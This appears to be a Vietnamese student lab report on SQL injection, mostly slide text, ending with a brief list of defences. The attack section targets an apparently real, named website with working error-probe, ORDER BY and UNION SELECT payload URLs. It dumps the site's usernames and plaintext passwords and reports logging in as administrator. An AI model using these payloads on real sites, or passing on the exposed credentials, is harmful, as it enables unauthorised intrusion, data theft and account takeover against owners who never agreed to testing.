báo cáo an ninh mạng lỹ thuật tấn công web
TRANSCRIPT
Bài báo cáo thực hành môn An ninh mạng
KỸ THUẬT TẤN CÔNG SQL INJECTION
SV thực hiện : Võ Luận Lớp : 10NMSSV: 101C920052GVHD: Dương Quốc Hoàng Tú
Giới thiệu về SQL Injection:- SQL Injection là một trong những kiểu tấn công web đang dần trở nên phổ biến hiện nay. Cơ chế hoạt động này đạt được bằng cách thu thập dữ liệu từ 1 database. Một số nền database phổ biến hiện nay như Oracle, Microsoft SQL Server, Sybase, MySQL, hay PostgreSQL… Một trong những cách tấn công khó bị nhận thấy và nguy hiểm nhất lên 1 ứng dụng web là việc chiếm đoạt những chuỗi truy vấn SQL, để đoạt quyền điểu khiển ứng dụng đó hoặc các dữ liệu của nó. SQL injection là một trong những cơ chế hiệu quả nhất để đạt được điều đó.
Bài báo cáo thực hành môn An ninh mạng
Bài báo cáo thực hành môn An ninh mạng
Bài này mình sử dụng trình duyệt web Mozilla Firefox. Firefox có ứng dụng tiện ích là HackBar hổ trợ trong việc viết các câu lệnh kiểm tra website bị lỗi SQL injection
Bài báo cáo thực hành môn An ninh mạngB1: Tìm trang website bị lỗi SQL
-Ta có trang website : http://www.bitunilegypt.com/
Bài báo cáo thực hành môn An ninh mạngB1: Tìm trang website bị lỗi SQL
-Ta vào 1 mục bất kỳ trong trang web đó: http://www.bitunilegypt.com/index.php?CMS_P=32
Bài báo cáo thực hành môn An ninh mạngB1: Tìm trang website bị lỗi SQL
Rồi ta thêm “ ‘ ” sau url trên http://www.bitunilegypt.com/index.php?CMS_P=32’=> Ta thấy nó báo lỗi You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\' AND CMS_Page_Publish=0' at line 1
Bài báo cáo thực hành môn An ninh mạngB2: Đếm số column. Sử dụng lệnh order by để đếm column(cột).Ta chèn sau url đoạn mã : order by ….— (… ở đây là giá trị số, thứ cho đến khi nào link bị lỗi thì dừng lại ).http://www.bitunilegypt.com/index.php?CMS_P=32 order by 2 --
Bài báo cáo thực hành môn An ninh mạngB2: Đếm số column. Sử dụng lệnh order by để đếm column.
http://www.bitunilegypt.com/index.php?CMS_P=32 order by 3 --Nó báo lỗi: Unknown column '3' in 'order clause'=>> như vậy trong database có 2 column
Bài báo cáo thực hành môn An ninh mạngB3: Show ra các table namehttp://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(table_name) from information_schema.tables where table_schema=database() --ta thay 32= NULL để show ra man hình trống Danh sách các table name : artners_s1, partners_s2, photo_gallery, pro_categories, pro_main_category, pro_products, users
Bài báo cáo thực hành môn An ninh mạng B4: show ra các column trong table users.http://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=users –=> Không thể show ra, vì ở đây ta điền usres thì sẽ không hiểu, mà phải chuyển ascii hoặc char. Hackbar có hổ trợ chức năng này
Bài báo cáo thực hành môn An ninh mạngB4: show ra các column trong table users.Ta điền vào users, lúc ấy link sẽ là: http://bitunil.com/Index.php?CMS_P=NULL UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_name=CHAR(117, 115, 101, 114, 115) –
Bài báo cáo thực hành môn An ninh mạngB4: show ra các column trong table users.=>>Các column trong table usres : er_cat_id,user_name,user_pass,user_fname,user_lname,user_mail,user_tel,user_addresTa qua tâm đến các column: user_name,user_pass,user_mail
Bài báo cáo thực hành môn An ninh mạngB5: ta show các column: user_name,user_pass,user_mail(chú ý theo thứ tự của chúng)Show column: user_name: http://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(user_name) from users –=>> tor,bituniladmin,j0k3r =>> các user_name
Bài báo cáo thực hành môn An ninh mạngB5: ta show các column: user_name,user_pass,user_mailShow column user_pass: http://bitunil.com/index.php?CMS_P=NULL UNION SELECT 1,group_concat(user_pass) from users –=>> tdepws,EcobitP10,die =>> các user_pass
Bài báo cáo thực hành môn An ninh mạngVậy ta có các users và password sau:
tor – tdepws , bituniladmin - EcobitP10 , j0k3r - die
Bài báo cáo thực hành môn An ninh mạngB6: Đăng nhập vào tài khoảnTa đăng nhập với users và password: bituniladmin - EcobitP10
Bài báo cáo thực hành môn An ninh mạngB6: Đăng nhập vào tài khoảnĐăng nhập thành công admin
Bài báo cáo thực hành môn An ninh mạngCách phòng chống:- Mã hóa password- Lọc những ký tự có thể gây hại như ',",--,: ... ngay từ khi nhận yêu cầu truy vấn từ bên ngoài- Update SQL với những bản mới nhất - Khoá các từ khóa nhạy cảm đối với SQL bằng cách dùng firewall chặn ngay từ đầu vào- Loại bỏ những từ khóa SELECT, DELETE, INSERT,… trong câu truy vấn từ bên ngoài.